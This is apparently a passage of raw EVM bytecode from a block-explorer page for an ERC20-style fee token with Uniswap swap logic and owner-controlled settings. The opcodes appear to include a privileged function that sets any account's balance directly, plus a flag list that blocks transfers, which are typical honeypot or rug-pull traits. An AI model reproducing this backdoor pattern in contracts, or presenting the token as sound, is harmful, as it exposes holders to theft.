00000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61403581613bdd565b811461404057600080fd5b50565b61404c81613c01565b811461405757600080fd5b50565b61406381613c2d565b811461406e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200fc6e79a97f4ddd2c23a320e6814fc0c410ebca459e080a4acdbef478d64b95564736f6c63430008070033
Deployed Bytecode
0x6080604052600436106103035760003560e01c806395d89b4111610190578063c5d24189116100dc578063da00097d11610095578063e3dea9b61161006f578063e3dea9b614610bf5578063f0cd1dac14610c1e578063f2fde38b14610c49578063f872858a14610c725761030a565b8063da00097d14610b62578063dc44b6a014610b8d578063dd62ed3e14610bb85761030a565b8063c5d2418914610a50578063c816841b14610a7b578063c860795214610aa6578063c867d60b14610ad1578063cab0347114610b0e578063d469a20914610b395761030a565b8063a9059cbb11610149578063b69b1f2711610123578063b69b1f27146109aa578063c2d4640e146109d3578063c469b6dd146109fc578063c49b9a8014610a275761030a565b8063a9059cbb146108f3578063ae2116b814610930578063b20a4e5a1461096d5761030a565b806395d89b41146107e1578063a073d37f1461080c578063a08e671f14610837578063a2a6272214610862578063a457c2d71461088b578063a83f53a7146108c85761030a565b80633b97084a1161024f57806370a082311161020857806382eefb43116101e257806382eefb431461072357806388790a681461074e5780638b42507f146107795780638da5cb5b146107b65761030a565b806370a0823114610692578063715266fe146106cf57806372382ec7146106f85761030a565b80633b97084a146105825780633ecad271146105ab5780634a74bb02146105e857806357a5802f1461061357806361a23c691461063e5780636249faf1146106695761030a565b80632563ae83116102bc578063313ce56711610296578063313ce567146104b457806335cdc417146104df57806335d236151461051c57806339509351146105455761030a565b80632563ae831461043557806327c8f8351461045e5780632b112e49146104895761030a565b806306fdde031461030f578063095ea7b31461033a5780631245e347146103775780631694505e146103a257806318160ddd146103cd57806323b872dd146103f85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c9d565b60405161033191906138b1565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c91906133c8565b610d2f565b60405161036e919061387b565b60405180910390f35b34801561038357600080fd5b5061038c610d4d565b60405161039991906137ff565b60405180910390f35b3480156103ae57600080fd5b506103b7610d73565b6040516103c49190613896565b60405180910390f35b3480156103d957600080fd5b506103e2610d99565b6040516103ef91906139b3565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190613375565b610da3565b60405161042c919061387b565b60405180910390f35b34801561044157600080fd5b5061045c60048036038101906104579190613468565b610e7d565b005b34801561046a57600080fd5b50610473610f2f565b60405161048091906137e4565b60405180910390f35b34801561049557600080fd5b5061049e610f53565b6040516104ab91906139b3565b60405180910390f35b3480156104c057600080fd5b506104c9610f97565b6040516104d69190613a58565b60405180910390f35b3480156104eb57600080fd5b50610506600480360381019061050191906132db565b610fae565b604051610513919061387b565b60405180910390f35b34801561052857600080fd5b50610543600480360381019061053e91906132db565b610fce565b005b34801561055157600080fd5b5061056c600480360381019061056791906133c8565b6110a7565b604051610579919061387b565b60405180910390f35b34801561058e57600080fd5b506105a960048036038101906105a491906134f5565b61115a565b005b3480156105b757600080fd5b506105d260048036038101906105cd91906132db565b6111f9565b6040516105df919061387b565b60405180910390f35b3480156105f457600080fd5b506105fd611219565b60405161060a919061387b565b60405180910390f35b34801561061f57600080fd5b5061062861122c565b60405161063591906139b3565b60405180910390f35b34801561064a57600080fd5b50610653611232565b60405161066091906139b3565b60405180910390f35b34801561067557600080fd5b50610690600480360381019061068b9190613408565b611238565b005b34801561069e57600080fd5b506106b960048036038101906106b491906132db565b611372565b6040516106c691906139b3565b60405180910390f35b3480156106db57600080fd5b506106f660048036038101906106f19190613408565b6113bb565b005b34801561070457600080fd5b5061070d6114f5565b60405161071a91906137ff565b60405180910390f35b34801561072f57600080fd5b5061073861151b565b60405161074591906139b3565b60405180910390f35b34801561075a57600080fd5b50610763611521565b60405161077091906139b3565b60405180910390f35b34801561078557600080fd5b506107a0600480360381019061079b91906132db565b611527565b6040516107ad919061387b565b60405180910390f35b3480156107c257600080fd5b506107cb611547565b6040516107d891906137e4565b60405180910390f35b3480156107ed57600080fd5b506107f6611570565b60405161080391906138b1565b60405180910390f35b34801561081857600080fd5b50610821611602565b60405161082e91906139b3565b60405180910390f35b34801561084357600080fd5b5061084c61160c565b60405161085991906139b3565b60405180910390f35b34801561086e57600080fd5b5061088960048036038101906108849190613522565b611612565b005b34801561089757600080fd5b506108b260048036038101906108ad91906133c8565b6116f2565b6040516108bf919061387b565b60405180910390f35b3480156108d457600080fd5b506108dd6117bf565b6040516108ea91906139b3565b60405180910390f35b3480156108ff57600080fd5b5061091a600480360381019061091591906133c8565b6117c5565b604051610927919061387b565b60405180910390f35b34801561093c57600080fd5b50610957600480360381019061095291906132db565b6117e4565b604051610964919061387b565b60405180910390f35b34801561097957600080fd5b50610994600480360381019061098f91906132db565b611804565b6040516109a1919061387b565b60405180910390f35b3480156109b657600080fd5b506109d160048036038101906109cc9190613495565b611824565b005b3480156109df57600080fd5b506109fa60048036038101906109f59190613522565b61198a565b005b348015610a0857600080fd5b50610a11611a6a565b604051610a1e91906139b3565b60405180910390f35b348015610a3357600080fd5b50610a4e6004803603810190610a499190613468565b611a70565b005b348015610a5c57600080fd5b50610a65611b59565b604051610a7291906139b3565b60405180910390f35b348015610a8757600080fd5b50610a90611b5f565b604051610a9d91906137e4565b60405180910390f35b348015610ab257600080fd5b50610abb611b85565b604051610ac891906139b3565b60405180910390f35b348015610add57600080fd5b50610af86004803603810190610af391906132db565b611b8b565b604051610b05919061387b565b60405180910390f35b348015610b1a57600080fd5b50610b23611bab565b604051610b3091906139b3565b60405180910390f35b348015610b4557600080fd5b50610b606004803603810190610b5b9190613522565b611bb1565b005b348015610b6e57600080fd5b50610b77611c91565b604051610b84919061387b565b60405180910390f35b348015610b9957600080fd5b50610ba2611ca4565b604051610baf91906139b3565b60405180910390f35b348015610bc457600080fd5b50610bdf6004803603810190610bda9190613335565b611caa565b604051610bec91906139b3565b60405180910390f35b348015610c0157600080fd5b50610c1c6004803603810190610c1791906133c8565b611d31565b005b348015610c2a57600080fd5b50610c33611db0565b604051610c4091906139b3565b60405180910390f35b348015610c5557600080fd5b50610c706004803603810190610c6b91906132db565b611db6565b005b348015610c7e57600080fd5b50610c87611f08565b604051610c94919061387b565b60405180910390f35b606060018054610cac90613cbf565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd890613cbf565b8015610d255780601f10610cfa57610100808354040283529160200191610d25565b820191906000526020600020905b815481529060010190602001808311610d0857829003601f168201915b5050505050905090565b6000610d43610d3c611f79565b8484611f81565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610db084848461214c565b50610e7284610dbd611f79565b610e6d8560405180606001604052806028815260200161407260289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e23611f79565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125769092919063ffffffff16565b611f81565b600190509392505050565b610e85611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0990613953565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610f92610f817f000000000000000000000000000000000000000000000000000000000000dead611372565b6019546125da90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b610fd6611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105a90613953565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006111506110b4611f79565b8461114b85600660006110c5611f79565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1b90919063ffffffff16565b611f81565b6001905092915050565b611162611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690613953565b60405180910390fd5b80601a8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601c60159054906101000a900460ff1681565b60135481565b60145481565b611240611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c490613953565b60405180910390fd5b60005b8383905081101561136c5781600860008686858181106112f3576112f2613dc7565b5b905060200201602081019061130891906132db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136490613cf1565b9150506112d0565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113c3611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144790613953565b60405180910390fd5b60005b838390508110156114ef57816007600086868581811061147657611475613dc7565b5b905060200201602081019061148b91906132db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114e790613cf1565b915050611453565b50505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461157f90613cbf565b80601f01602080910402602001604051908101604052809291908181526020018280546115ab90613cbf565b80156115f85780601f106115cd576101008083540402835291602001916115f8565b820191906000526020600020905b8154815290600101906020018083116115db57829003601f168201915b5050505050905090565b6000601a54905090565b60185481565b61161a611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169e90613953565b60405180910390fd5b8260108190555081601181905550806012819055506116e76012546116d9601154601054611f1b90919063ffffffff16565b611f1b90919063ffffffff16565b601781905550505050565b60006117b56116ff611f79565b846117b08560405180606001604052806025815260200161409a6025913960066000611729611f79565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125769092919063ffffffff16565b611f81565b6001905092915050565b60155481565b60006117d96117d2611f79565b848461214c565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b611852600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336001612624565b61185b57600080fd5b60005b828290508110156119845783156118f3576001600c600085858581811061188857611887613dc7565b5b905060200201602081019061189d91906132db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611973565b6000600c600085858581811061190c5761190b613dc7565b5b905060200201602081019061192191906132db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061197d90613cf1565b905061185e565b50505050565b611992611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1690613953565b60405180910390fd5b826013819055508160148190555080601581905550611a5f601554611a51601454601354611f1b90919063ffffffff16565b611f1b90919063ffffffff16565b601881905550505050565b600f5481565b611a78611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc90613953565b60405180910390fd5b80601c60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611b4e919061387b565b60405180910390a150565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b611bb9611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3d90613953565b60405180910390fd5b82600d8190555081600e8190555080600f81905550611c86600f54611c78600e54600d54611f1b90919063ffffffff16565b611f1b90919063ffffffff16565b601681905550505050565b601c60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611d5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336001612624565b611d6857600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60165481565b611dbe611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4290613953565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601c60179054906101000a900460ff1681565b6000808284611f2a9190613ac8565b905083811015611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690613913565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe890613993565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612061576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612058906138f3565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161213f91906139b3565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156121bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b490613973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561222d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612224906138d3565b60405180910390fd5b601c60149054906101000a900460ff16156122545761224d848484612696565b905061256f565b600061225f30611372565b90506000601a5482101590508080156122855750601c60149054906101000a900460ff16155b80156122db5750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122f35750601c60159054906101000a900460ff165b1561231d57601c60169054906101000a900460ff161561231357601a5491505b61231c82612869565b5b61236f84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125da90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124555750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61246957612464878787612a5a565b61246b565b845b90506124bf81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1b90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161255f91906139b3565b60405180910390a3600193505050505b9392505050565b60008383111582906125be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b591906138b1565b60405180910390fd5b50600083856125cd9190613ba9565b9050809150509392505050565b600061261c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612576565b905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561268d5750600173ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b90509392505050565b6000612721826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125769092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1b90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161285691906139b3565b60405180910390a3600190509392505050565b6001601c60146101000a81548160ff02191690831515021790555060006128c260026128b46018546128a660135487612d2a90919063ffffffff16565b612da590919063ffffffff16565b612da590919063ffffffff16565b905060006128d982846125da90919063ffffffff16565b90506128e481612def565b600047905060006129156129046002601354612da590919063ffffffff16565b6018546125da90919063ffffffff16565b9050600061295360026129458461293760135488612d2a90919063ffffffff16565b612da590919063ffffffff16565b612da590919063ffffffff16565b9050600061297e8361297060155487612d2a90919063ffffffff16565b612da590919063ffffffff16565b905060006129a78261299985886125da90919063ffffffff16565b6125da90919063ffffffff16565b905060008111156129df576129de600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261307a565b5b6000821115612a1557612a14600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361307a565b5b600083118015612a255750600087115b15612a3557612a3487846130c5565b5b505050505050506000601c60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612b0a57600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b0957600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b8b57612b846064612b7660165486612d2a90919063ffffffff16565b612da590919063ffffffff16565b9050612c09565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612c0857612c056064612bf760175486612d2a90919063ffffffff16565b612da590919063ffffffff16565b90505b5b6000811115612d0d57612c6481600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1b90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d0491906139b3565b60405180910390a35b612d2081846125da90919063ffffffff16565b9150509392505050565b600080831415612d3d5760009050612d9f565b60008284612d4b9190613b4f565b9050828482612d5a9190613b1e565b14612d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9190613933565b60405180910390fd5b809150505b92915050565b6000612de783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506131b9565b905092915050565b6000600267ffffffffffffffff811115612e0c57612e0b613df6565b5b604051908082528060200260200182016040528015612e3a5781602001602082028036833780820191505090505b5090503081600081518110612e5257612e51613dc7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612ef457600080fd5b505afa158015612f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f2c9190613308565b81600181518110612f4057612f3f613dc7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612fa730601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f81565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161300b9594939291906139fe565b600060405180830381600087803b15801561302557600080fd5b505af1158015613039573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161306e9291906139ce565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156130c0573d6000803e3d6000fd5b505050565b6130f230601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f81565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061313e611547565b426040518863ffffffff1660e01b81526004016131609695949392919061381a565b6060604051808303818588803b15801561317957600080fd5b505af115801561318d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131b29190613575565b5050505050565b60008083118290613200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131f791906138b1565b60405180910390fd5b506000838561320f9190613b1e565b9050809150509392505050565b60008135905061322b8161402c565b92915050565b6000815190506132408161402c565b92915050565b60008083601f84011261325c5761325b613e2a565b5b8235905067ffffffffffffffff81111561327957613278613e25565b5b60208301915083602082028301111561329557613294613e2f565b5b9250929050565b6000813590506132ab81614043565b92915050565b6000813590506132c08161405a565b92915050565b6000815190506132d58161405a565b92915050565b6000602082840312156132f1576132f0613e39565b5b60006132ff8482850161321c565b91505092915050565b60006020828403121561331e5761331d613e39565b5b600061332c84828501613231565b91505092915050565b6000806040838503121561334c5761334b613e39565b5b600061335a8582860161321c565b925050602061336b8582860161321c565b9150509250929050565b60008060006060848603121561338e5761338d613e39565b5b600061339c8682870161321c565b93505060206133ad8682870161321c565b92505060406133be868287016132b1565b9150509250925092565b600080604083850312156133df576133de613e39565b5b60006133ed8582860161321c565b92505060206133fe858286016132b1565b9150509250929050565b60008060006040848603121561342157613420613e39565b5b600084013567ffffffffffffffff81111561343f5761343e613e34565b5b61344b86828701613246565b9350935050602061345e8682870161329c565b9150509250925092565b60006020828403121561347e5761347d613e39565b5b600061348c8482850161329c565b91505092915050565b6000806000604084860312156134ae576134ad613e39565b5b60006134bc8682870161329c565b935050602084013567ffffffffffffffff8111156134dd576134dc613e34565b5b6134e986828701613246565b92509250509250925092565b60006020828403121561350b5761350a613e39565b5b6000613519848285016132b1565b91505092915050565b60008060006060848603121561353b5761353a613e39565b5b6000613549868287016132b1565b935050602061355a868287016132b1565b925050604061356b868287016132b1565b9150509250925092565b60008060006060848603121561358e5761358d613e39565b5b600061359c868287016132c6565b93505060206135ad868287016132c6565b92505060406135be868287016132c6565b9150509250925092565b60006135d483836135ef565b60208301905092915050565b6135e981613bef565b82525050565b6135f881613bdd565b82525050565b61360781613bdd565b82525050565b600061361882613a83565b6136228185613aa6565b935061362d83613a73565b8060005b8381101561365e57815161364588826135c8565b975061365083613a99565b925050600181019050613631565b5085935050505092915050565b61367481613c01565b82525050565b61368381613c44565b82525050565b61369281613c56565b82525050565b60006136a382613a8e565b6136ad8185613ab7565b93506136bd818560208601613c8c565b6136c681613e3e565b840191505092915050565b60006136de602383613ab7565b91506136e982613e4f565b604082019050919050565b6000613701602283613ab7565b915061370c82613e9e565b604082019050919050565b6000613724601b83613ab7565b915061372f82613eed565b602082019050919050565b6000613747602183613ab7565b915061375282613f16565b604082019050919050565b600061376a602083613ab7565b915061377582613f65565b602082019050919050565b600061378d602583613ab7565b915061379882613f8e565b604082019050919050565b60006137b0602483613ab7565b91506137bb82613fdd565b604082019050919050565b6137cf81613c2d565b82525050565b6137de81613c37565b82525050565b60006020820190506137f960008301846135fe565b92915050565b600060208201905061381460008301846135e0565b92915050565b600060c08201905061382f60008301896135fe565b61383c60208301886137c6565b6138496040830187613689565b6138566060830186613689565b61386360808301856135fe565b61387060a08301846137c6565b979650505050505050565b6000602082019050613890600083018461366b565b92915050565b60006020820190506138ab600083018461367a565b92915050565b600060208201905081810360008301526138cb8184613698565b905092915050565b600060208201905081810360008301526138ec816136d1565b9050919050565b6000602082019050818103600083015261390c816136f4565b9050919050565b6000602082019050818103600083015261392c81613717565b9050919050565b6000602082019050818103600083015261394c8161373a565b9050919050565b6000602082019050818103600083015261396c8161375d565b9050919050565b6000602082019050818103600083015261398c81613780565b9050919050565b600060208201905081810360008301526139ac816137a3565b9050919050565b60006020820190506139c860008301846137c6565b92915050565b60006040820190506139e360008301856137c6565b81810360208301526139f5818461360d565b90509392505050565b600060a082019050613a1360008301886137c6565b613a206020830187613689565b8181036040830152613a32818661360d565b9050613a4160608301856135fe565b613a4e60808301846137c6565b9695505050505050565b6000602082019050613a6d60008301846137d5565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613ad382613c2d565b9150613ade83613c2d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b1357613b12613d3a565b5b828201905092915050565b6000613b2982613c2d565b9150613b3483613c2d565b925082613b4457613b43613d69565b5b828204905092915050565b6000613b5a82613c2d565b9150613b6583613c2d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b9e57613b9d613d3a565b5b828202905092915050565b6000613bb482613c2d565b9150613bbf83613c2d565b925082821015613bd257613bd1613d3a565b5b828203905092915050565b6000613be882613c0d565b9050919050565b6000613bfa82613c0d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c4f82613c68565b9050919050565b6000613c6182613c2d565b9050919050565b6000613c7382613c7a565b9050919050565b6000613c8582613c0d565b9050919050565b60005b83811015613caa578082015181840152602081019050613c8f565b83811115613cb9576000848401525b50505050565b60006002820490506001821680613cd757607f821691505b60208210811415613ceb57613cea613d98565b5b50919050565b6000613cfc82613c2d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d2f57613d2e613d3a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060008201